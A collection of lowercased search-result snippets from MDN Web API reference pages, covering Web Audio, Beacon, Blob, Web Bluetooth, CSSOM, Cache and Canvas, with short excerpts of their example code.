... if (attribute.localname == "value" && attribute.namespaceuri == "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul") { //
this is a xul value } notes
this is not a computed value that is the result of a namespace lookup based on an examination of the namespace declarations in scope.
Attr.prefix - Web APIs
before dom4
this api was defined within the node interface.
... <div x:id="example" onclick="console.log(
this.attributes[0].prefix)"/> notes
this will only work when a namespace-aware parser is used, i.e.
...
this will not work for html documents.
AudioBufferSourceNode.buffer - Web APIs
example for a full working example, see
this code running live, or view the source.
... var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); button.onclick = function() { // fill the buffer with white noise; //just random values between -1.0 and 1.0 for (var channel = 0; channel < channels; channel++) { //
this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } // get an audiobuffersourcenode.
... //
this is the audionode to use when we want to play an audiobuffer var source = audioctx.createbuffersource(); // set the buffer in the audiobuffersourcenode source.buffer = myarraybuffer; specifications specification status comment web audio apithe definition of 'buffer' in that specification.
AudioBufferSourceNode.loopStart - Web APIs
this value is only used when the loop parameter is true.
... example in
this example, the audiocontext.decodeaudiodata() function is used to decode an audio track and put it into an audiobuffersourcenode.
... for a full working example, see
this code running live, or view the source.
AudioContext() - Web APIs
the user agent may or may not choose to meet
this request; check the value of audiocontext.baselatency to determine the true latency after creating the context.
... in particular, the specification doesn't indicate a maximum or minimum number of audio contexts that must be able to be open at the same time, so
this is left up to the browser implementations to decide.
... example
this example creates a new audiocontext for interactive audio (optimizing for latency) and a sample rate of 44.1khz.
AudioContext.createJavaScriptNode() - Web APIs
important:
this method is obsolete, and has been renamed to audiocontext.createscriptprocessor().
... example the following script illustrates the use of createjavascriptnode(): var sinewave = function(context) { var that =
this;
this.x = 0; // initial sample number
this.context = context;
this.node = context.createjavascriptnode(1024, 1, 1);
this.node.onaudioprocess = function(e) { that.process(e) }; } sinewave.prototype.process = function(e) { var data = e.outputbuffer.getchanneldata(0); for (var i = 0; i < data.length; ++i) { data[i] = math.sin(
this.x++); } } sinewave.prototype.play = function() { ...
...
this.node.connect(
this.context.destination); } sinewave.prototype.pause = function() {
this.node.disconnect(); } see also generating tones with the web audio api exploring the html5 web audio: visualizing sound ...
AudioContext.createMediaStreamDestination() - Web APIs
this stream can be used in a similar way as a mediastream obtained via navigator.getusermedia — it can, for example, be sent to a remote peer using the rtcpeerconnection addstream() method.
... examples in the following simple example, we create a mediastreamaudiodestinationnode, an oscillatornode and a mediarecorder (the example will therefore only work in firefox and chrome at
this time.) the mediarecorder is set up to record information from the mediastreamdestinationnode.
... var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); document.queryselector("audio").src = url.createobjecturl(blob); }; </script> </body> </html> note: you can view
this example live, or study the source code, on github.
AudioContext.createMediaStreamSource() - Web APIs
example in
this example, we grab a media (audio + video) stream from navigator.getusermedia, feed the media into a <video> element to play then mute the audio, but then also feed the audio into a mediastreamaudiosourcenode.
... next, we feed
this source audio into a low pass biquadfilternode (which effectively serves as a bass booster), then a audiodestinationnode.
... note: you can see
this example running live, or view the source.
AudioListener.dopplerFactor - Web APIs
in the example you can see
this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) —
this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
...} var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for
this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graph...
AudioListener.forwardX - Web APIs
in the example you can see
this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) —
this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
...} var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for
this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graph...
AudioListener.forwardY - Web APIs
in the example you can see
this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) —
this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
...} var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for
this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graph...
AudioListener.forwardZ - Web APIs
in the example you can see
this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) —
this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
...} var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for
this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graph...
AudioListener.positionX - Web APIs
in the example you can see
this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) —
this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
...} var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for
this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graph...
AudioListener.positionY - Web APIs
in the example you can see
this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) —
this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
...} var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for
this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graph...
AudioListener.positionZ - Web APIs
in the example you can see
this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) —
this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
...} var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for
this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graph...
AudioListener.setOrientation() - Web APIs
in the example you can see
this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) —
this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
...} var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for
this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graph...
AudioListener.speedOfSound - Web APIs
in the example you can see
this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) —
this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
...} var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for
this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graph...
AudioListener.upX - Web APIs
in the example you can see
this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) —
this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
...} var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for
this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graph...
AudioListener.upY - Web APIs
in the example you can see
this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) —
this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
...} var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for
this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graph...
AudioListener.upZ - Web APIs
in the example you can see
this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) —
this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
...} var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for
this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graph...
AudioNode.channelInterpretation - Web APIs
this interpretation will define how audio up-mixing and down-mixing will happen.
...
this can be somewhat controlled by setting the audionode.channelinterpretation property to speakers or discrete: interpretation input channels output channels mixing rules speakers 1 (mono) 2 (stereo) up-mix from mono to stereo.
...
this fallback is therefore not future proof as the behavior of the browsers for a specific number of channels may change in the future.
AudioScheduledSourceNode.onended - Web APIs
this event is sent to the node when the concrete interface (such as audiobuffersourcenode, oscillatornode, or constantsourcenode) determines that it has stopped playing.
...
this is the case, for example, when using an audiobuffersourcenode with its loop property set to true.
... examples in
this simple example, an event listener for the ended event is set up to enable a "start" button in the user interface when the node stops playing.
AudioScheduledSourceNode.start() - Web APIs
this value is specified in the same time coordinate system as the audiocontext is using for its currenttime attribute.
...
this error occurs even if the node is no longer running because of a prior call to stop().
... example
this example demonstrates how to create an oscillatornode which is scheduled to start playing in 2 seconds and stop playing 1 second after that.
AudioTrackList.onaddtrack - Web APIs
this happens when tracks are added to the element when the media is first attached to the element; one addtrack event will occur for each audio track in the media resource.
... example
this snippet establishes a handler for the addtrack event that calls a function, addtotracklist(), passing in the audiotrack object representing the newly-added track.
... in
this scenario, that function's role is to add the new track to a list of audio tracks available to choose from.
AudioWorkletNode.parameters - Web APIs
here, additionally, we'll create a custom gain parameter, so we can directly change volume of the output (although you could use gainnode to achieve
this as well).
...note that
this should be done in a separate file.
... const audiocontext = new audiocontext() await audiocontext.audioworklet.addmodule('white-noise-processor.js') const whitenoisenode = new audioworkletnode(audiocontext, 'white-noise-processor') whitenoisenode.connect(audiocontext.destination) now we can change the gain on the node like
this: const gainparam = whitenoisenode.parameters.get('customgain') gainparam.setvalueattime(0, audiocontext.currenttime) gainparam.linearramptovalueattime(0.5, audiocontext.currenttime + 0.5) specifications specification status comment web audio apithe definition of 'parameters' in that specification.
AudioWorkletNode.port - Web APIs
note that that
this should be done in a separate file.
... // ping-pong-processor.js class pingpongprocessor extends audioworkletprocessor { constructor (...args) { super(...args)
this.port.onmessage = (e) => { console.log(e.data)
this.port.postmessage('pong') } } process (inputs, outputs, parameters) { return true } } registerprocessor('ping-pong-processor', pingpongprocessor) now in our main scripts file we'll load the processor, create an instance of audioworkletnode passing the name of the processor, and connect the node to an audio graph.
...addmodule('ping-pong-processor.js') const pingpongnode = new audioworkletnode(audiocontext, 'ping-pong-processor') // send the message containing 'ping' string // to the audioworkletprocessor from the audioworkletnode every second setinterval(() => pingpongnode.port.postmessage('ping'), 1000) pingpongnode.port.onmessage = (e) => console.log(e.data) pingpongnode.connect(audiocontext.destination)
this will output "ping" and "pong" strings to the console every second.
AudioWorkletNode - Web APIs
with
this mechanism it is possible to make your own audioparam objects accessible from your audioworkletnode.
... examples in
this example we create a custom audioworkletnode that outputs white noise.
...note that
this should be done in a separate file.
AudioWorkletProcessor() - Web APIs
parameterdata optional an object containing the initial values of custom audioparam objects on
this node (in its parameters property), with key being the name of a custom parameter and value being its initial value.
... example in
this example we pass custom options to the audioworkletnode constructor and observe how a structured clone of them gets passed to our audioworkletprocessor constructor.
...note that
this should be done in a separate file.
AudioWorkletProcessor.port - Web APIs
note that that
this should be done in a separate file.
... // ping-pong-processor.js class pingpongprocessor extends audioworkletprocessor { constructor (...args) { super(...args)
this.port.onmessage = (e) => { console.log(e.data)
this.port.postmessage('pong') } } process (inputs, outputs, parameters) { return true } } registerprocessor('ping-pong-processor', pingpongprocessor) now in our main scripts file we'll load the processor, create an instance of audioworkletnode passing the name of the processor, and connect the node to an audio graph.
...addmodule('ping-pong-processor.js') const pingpongnode = new audioworkletnode(audiocontext, 'ping-pong-processor') // send the message containing 'ping' string // to the audioworkletprocessor from the audioworkletnode every second setinterval(() => pingpongnode.port.postmessage('ping'), 1000) pingpongnode.port.onmessage = (e) => console.log(e.data) pingpongnode.connect(audiocontext.destination)
this will output "ping" and "pong" strings to the console every second.
AuthenticatorAttestationResponse.getTransports() - Web APIs
note:
this method may only be used in top-level contexts and will not be available in an <iframe> for example.
... return value an array containing the different transports supported by the authenticator or nothing if
this information is not available.of the processing of the different extensions by the client.
... the elements of
this array are supposed to be in lexicographical order.
AuthenticatorAttestationResponse - Web APIs
this response should be sent to the relying party's server to complete the creation of the credential.
...
this interface inherites from authenticatorresponse.
... note:
this interface is restricted to top-level contexts.
AuthenticatorResponse.clientDataJSON - Web APIs
this property is only accessed on one of the child objects of authenticatorresponse, specifically authenticatorattestationresponse or authenticatorassertionresponse.
...we should expect the relying party's id to be a suffix of
this value.
... should
this property be absent, it would indicate that the client does not support token binding.
BaseAudioContext.createBufferSource() - Web APIs
example in
this example, we create a two second buffer, fill it with white noise, and then play it via an audiobuffersourcenode.
...hannels = 2; // create an empty two second stereo buffer at the // sample rate of the audiocontext var framecount = audioctx.samplerate * 2.0; var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); button.onclick = function() { // fill the buffer with white noise; //just random values between -1.0 and 1.0 for (var channel = 0; channel < channels; channel++) { //
this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } // get an audiobuffersourcenode.
... //
this is the audionode to use when we want to play an audiobuffer var source = audioctx.createbuffersource(); // set the buffer in the audiobuffersourcenode source.buffer = myarraybuffer; // connect the audiobuffersourcenode to the // destination so we can hear the sound source.connect(audioctx.destination); // start the source playing source.start(); } specifications specification status comment web audio apithe definition of 'createbuffersource()' in that specification.
BaseAudioContext.createPanner() - Web APIs
in the example you can see
this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) —
this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
...} var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for
this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graph...
BasicCardRequest - Web APIs
basiccardrequest.supportedtypes optional secure context
this obsolete property was used to provide an optional array of domstrings representing the card types that the retailer supports (e.g.
...instead of using
this property, it is up to the server to check support for the card given the information coded into the account number.
...
this has to conform to the structure defined by the basiccardresponse dictionary, and may look something like
this: { "cardnumber' : '9999999999999999", "cardholdername' : 'mr dick straw", "cardsecuritycode" : "999", "expirymonth" : "07", "expiryyear" : "2021", "billingaddress" : { "country" : "gb", // etc.
Battery Status API - Web APIs
this can be used to adjust your app's resource usage to reduce battery drain when the battery is low, or to save changes before the battery runs out in order to prevent data loss.
... example in
this example, we watch for changes both to the charging status (whether or not we're plugged in and charging) and for changes to the battery level and timing.
...
this is done by listening for the chargingchange, levelchange, chargingtimechange, dischargingtimechange events.
Using the Beacon API - Web APIs
this document contains examples of the beacon interfaces.
...
this code snippet is for the global context: function worker_send(url, data) { // create the worker object var myworker = new worker("worker-using.js"); // send the worker the url and data to beacon myworker.postmessage([url, data]); // set up a message handler to receive the success/fail message from the worker myworker.onmessage = function(event) { var msg = event.data; // log...
... worker's send status console.log("worker reply: sendbeacon() status = " + msg); }; }
this code snippet is for the worker (worker-using.js): onmessage = function(event) { var msg = event.data; // split the url and data from the message var url = msg[0]; var data = msg[1]; // if the browser supports worker sendbeacon(), then send the beacon; otherwise // return failure message to the global context if (self.navigator.sendbeacon) { var status = self.navigator.sendbeacon(url, data); postmessage(status ?
Beacon API - Web APIs
example code of the interfaces described in
this document is included in using the beacon api.
...to solve
this problem, analytics and diagnostics code will typically make a synchronous xmlhttprequest in an unload or beforeunload handler to submit the data.
...there is nothing the next page can do to avoid
this perception of poor page load performance.
BeforeInstallPromptEvent - Web APIs
this interface inherits from the event interface.
...
this is provided for user agents that want to present a choice of versions to the user such as, for example, "web" or "play" which would allow the user to chose between a web version or an android version.
...
this method returns a promise.
Blob.slice() - Web APIs
the byte exactly at
this index is not included).
... contenttype optional the content type to assign to the new blob;
this will be the value of its type property.
... return value a new blob object containing the specified subset of the data contained within the blob on which
this method was called.
Blob - Web APIs
if the type is unknown,
this string is empty.
... html <p>
this example creates a typed array containing the ascii codes for the space character through the letter z, then converts it to an object url.
... click the link to see the decoded object url.</p> javascript the main piece of
this code for example purposes is the typedarraytourl() function, which creates a blob from the given typed array and returns an object url for it.
Bluetooth.requestDevice() - Web APIs
if there is no chooser ui,
this method returns the first device matching the criteria.
...
this filter consists of an array of bluetoothserviceuuids, a name parameter, and a nameprefix parameter.
... securityerror
this operation is not permitted in
this context due to security concerns.
BluetoothRemoteGATTCharacteristic - Web APIs
iptor); promise<dataview> readvalue(); promise<void> writevalue(buffersource value); promise<void> startnotifications(); promise<void> stopnotifications(); }; bluetoothremotegattcharacteristic implements eventtarget; bluetoothremotegattcharacteristic implements characteristiceventhandlers; properties bluetoothremotegattcharacteristic.serviceread only returns the bluetoothgattservice
this characteristic belongs to.
... bluetoothremotegattcharacteristic.propertiesread only returns the properties of
this characteristic.
...
this value gets updated when the value of the characteristic is read or updated via a notification or indication.
BluetoothRemoteGATTServer - Web APIs
y attribute boolean connected; promise<bluetoothremotegattserver> connect(); void disconnect(); promise<bluetoothremotegattservice> getprimaryservice(bluetoothserviceuuid service); promise<sequence<bluetoothremotegattservice>> getprimaryservices(optional bluetoothserviceuuid service); }; properties bluetoothremotegattserver.connectedread only a boolean value that returns true while
this script execution environment is connected to
this.device.
... methods bluetoothremotegattserver.connect() causes the script execution environment to connect to
this.device.
... bluetoothremotegattserver.disconnect() causes the script execution environment to disconnect from
this.device.
BluetoothRemoteGATTService - Web APIs
the bluetoothremotegattservice interface of the web bluetooth api represents a service provided by a gatt server, including a device, a list of referenced services, and a list of the characteristics of
this service.
... bluetoothremotegattservice.isprimaryread only returns a boolean indicating whether
this is a primary or secondary service.
... bluetoothremotegattservice.uuidread only returns a domstring representing the uuid of
this service.
CSS - Web APIs
no objects with
this interface are implemented: it contains only static methods and is therefore a utilitarian interface.
... properties the css interface is a utility interface and no object of
this type can be created: only static properties are defined on it.
... methods the css interface is a utility interface and no object of
this type can be created: only static methods are defined on it.
CSSCounterStyleRule - Web APIs
inheritance
this interface inherits from the following parent interfaces: <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/cssrule" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">cssrule</text></a><polyline points="76,25 86,20 ...
...ounterstylerule" target="_top"><rect x="116" y="1" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="211" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">csscounterstylerule</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface also inherits properties from its parent cssrule.
... methods
this interface doesn't implement any specific method but inherits methods from its parent cssrule.
CSSStyleSheet.addRule() - Web APIs
you should avoid using
this method, and should instead use the more standard insertrule() method.
... usage notes
this method is implemented by browsers by constructing a string using the template literal `${selector}{${styleblock}}`, then passing it into the standard insertrule() method.
... therefore, given existing code such as the following: cssstylesheet.addrule(selector, styles, 0); you can rewrite
this to use the more standard insertrule() like
this: cssstylesheet.insertrule(`${selector} {${styles}}`, 0); specifications specification status comment css object model (cssom)the definition of 'cssstylesheet.addrule()' in that specification.
CSSStyleSheet.removeRule() - Web APIs
note:
this is a legacy method which has been replaced by the standard method deleterule().
... return value undefined example
this example removes the first rule from the stylesheet mystyles.
... mystyles.removerule(0); you can rewrite
this to use the standard deleterule() method very easily: mystyles.deleterule(0); specifications specification status comment css object model (cssom)the definition of 'cssstylesheet.removerule()' in that specification.
CSSStyleSheet - Web APIs
this is normally used to access individual rules like
this: stylesheet.cssrules[i] // where i = 0..cssrules.length-1 to add or remove items in cssrules, use the cssstylesheet's insertrule() and deleterule() methods.
... ownerrule read only if
this stylesheet is imported into the document using an @import rule, the ownerrule property returns the corresponding cssimportrule; otherwise,
this property's value is null.
...
this differs from insertrule(), which simply takes the textual representation of the entire rule as a single string.
CSSValueList - Web APIs
methods cssvaluelist.item()
this method is used to retrieve a cssvalue by ordinal index.
... the order in
this collection represents the order of the values in the css style property.
... if index is greater than or equal to the number of values in the list,
this returns null.
CSS Typed Object Model API - Web APIs
this not only simplifies css manipulation, but also lessens the negative impact on performance as compared to htmlelement.style.
...
this is easier for authors (for example, numeric values are reflected with actual js numbers, and have unit-aware mathematical operations defined for them).
...an instance of
this class may be used anywhere a string is expected.
Cache.addAll() - Web APIs
the response status is not in the 200 range (i.e., not a successful response.)
this occurs if the request does not return successfully, but also if the request is a cross-origin no-cors request (in which case the reported status is always 0.) examples
this code block waits for an installevent to fire, then runs waituntil() to handle the install process for the app.
...
this consists of calling cachestorage.open to create a new cache, then using addall() to add a series of assets to it.
...
this.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.addall([ '/sw-test/', '/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-test/gallery/', '/sw-test/gallery/bountyhunters.jpg', '/sw-test/gallery/mylittlevader.jpg', '/sw-test/gallery/snowtroopers.jpg' ]); }) ); }); specifications specification status comment service workersthe definition of 'cache: addall' in that specification.
CacheStorage.open() - Web APIs
note: if the specified cache does not exist, a new cache is created with that cachename and a promise that resolves to
this new cache object is returned.
... examples
this example is from the mdn sw-test example (see sw-test running live).
...
this consists of calling cachestorage.open() to create a new cache, then using cache.addall() to add a series of assets to it.
CanvasCaptureMediaStreamTrack - Web APIs
properties
this interface inherits the properties of its parent, mediastreamtrack.
... methods
this interface inherits the methods of its parent, mediastreamtrack.
...
this lets applications that wish to specify the frame capture times directly do so, if they specified a framerate of 0 when calling capturestream().
CanvasRenderingContext2D.bezierCurveTo() - Web APIs
examples how beziercurveto works
this example shows how a cubic bézier curve is drawn.
...nd end points ctx.fillstyle = 'blue'; ctx.beginpath(); ctx.arc(start.x, start.y, 5, 0, 2 * math.pi); // start point ctx.arc(end.x, end.y, 5, 0, 2 * math.pi); // end point ctx.fill(); // control points ctx.fillstyle = 'red'; ctx.beginpath(); ctx.arc(cp1.x, cp1.y, 5, 0, 2 * math.pi); // control point one ctx.arc(cp2.x, cp2.y, 5, 0, 2 * math.pi); // control point two ctx.fill(); result in
this example, the control points are red and the start and end points are blue.
... a simple bézier curve
this example draws a simple bézier curve using beziercurveto().
CanvasRenderingContext2D.clearRect() - Web APIs
examples erasing the whole canvas
this code snippet erases the entire canvas.
...
this is commonly required at the start of each frame in an animation.
... const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.clearrect(0, 0, canvas.width, canvas.height); erasing part of a canvas
